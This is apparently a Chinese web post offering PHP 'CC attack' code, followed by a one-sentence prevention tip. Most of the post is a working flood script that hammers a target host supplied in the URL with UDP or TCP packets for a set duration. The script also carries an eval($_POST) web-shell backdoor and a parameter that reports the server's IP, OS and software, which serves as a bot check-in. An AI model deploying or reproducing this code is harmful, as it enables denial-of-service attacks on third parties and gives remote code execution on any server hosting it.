php cc攻击代码与防范方法

  cc攻击代码,支持udp

  

复制代码 代码如下:

  <?php

  eval($_POST[Chr(90)]);

  set_time_limit(86400);

  ignore_user_abort(True);

  $packets = 0;

  $http = $_GET['http'];

  $rand = $_GET['exit'];

  $exec_time = $_GET['time'];

  if (StrLen($http)==0 or StrLen($rand)==0 or StrLen($exec_time)==0)

  {

  if(StrLen($_GET['rat'])<>0)

  {

  echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];

  exit;

  }

  echo "Php 2012 Terminator";

  exit;

  }

  for($i=0;$i<65535;$i++)

  {

  $out .= "X";

  }

  //Udp1-fsockopen Udp2 pfsockopen Tcp3 CC.center

  $max_time = time()+$exec_time;

  if($rand==53)

  while(1)

  {

  $packets++;

  if(time() > $max_time)

  {

  break;

  }

  $fp = fsockopen("udp://$http", $rand, $errno, $errstr, 5);

  if($fp)

  {

  fwrite($fp, $out);

  fclose($fp);

  }

  }

  else

  if($rand==500)

  while(1)

  {

  $packets++;

  if(time() > $max_time){

  break;

  }

  $fp = pfsockopen("udp://$http", $rand, $errno, $errstr, 5);

  if($fp)

  {

  fwrite($fp, $out);

  fclose($fp);

  }

  }

  else

  while(1)

  {

  $packets++;

  if(time() > $max_time){

  break;

  }

  $fp = pfsockopen("tcp://$http", $rand, $errno, $errstr, 5);

  if($fp)

  {

  fwrite($fp, $out);

  fclose($fp);

  }

  }

  ?>

  对于cc攻击的防范,如果是动态页面,我们可以判断时间,如果是静态的网站我们就需要服务器上安装防cc攻击的软件了, 一般服务器安全狗还是不错的。

  如果你有好的软件也可以给我们留言。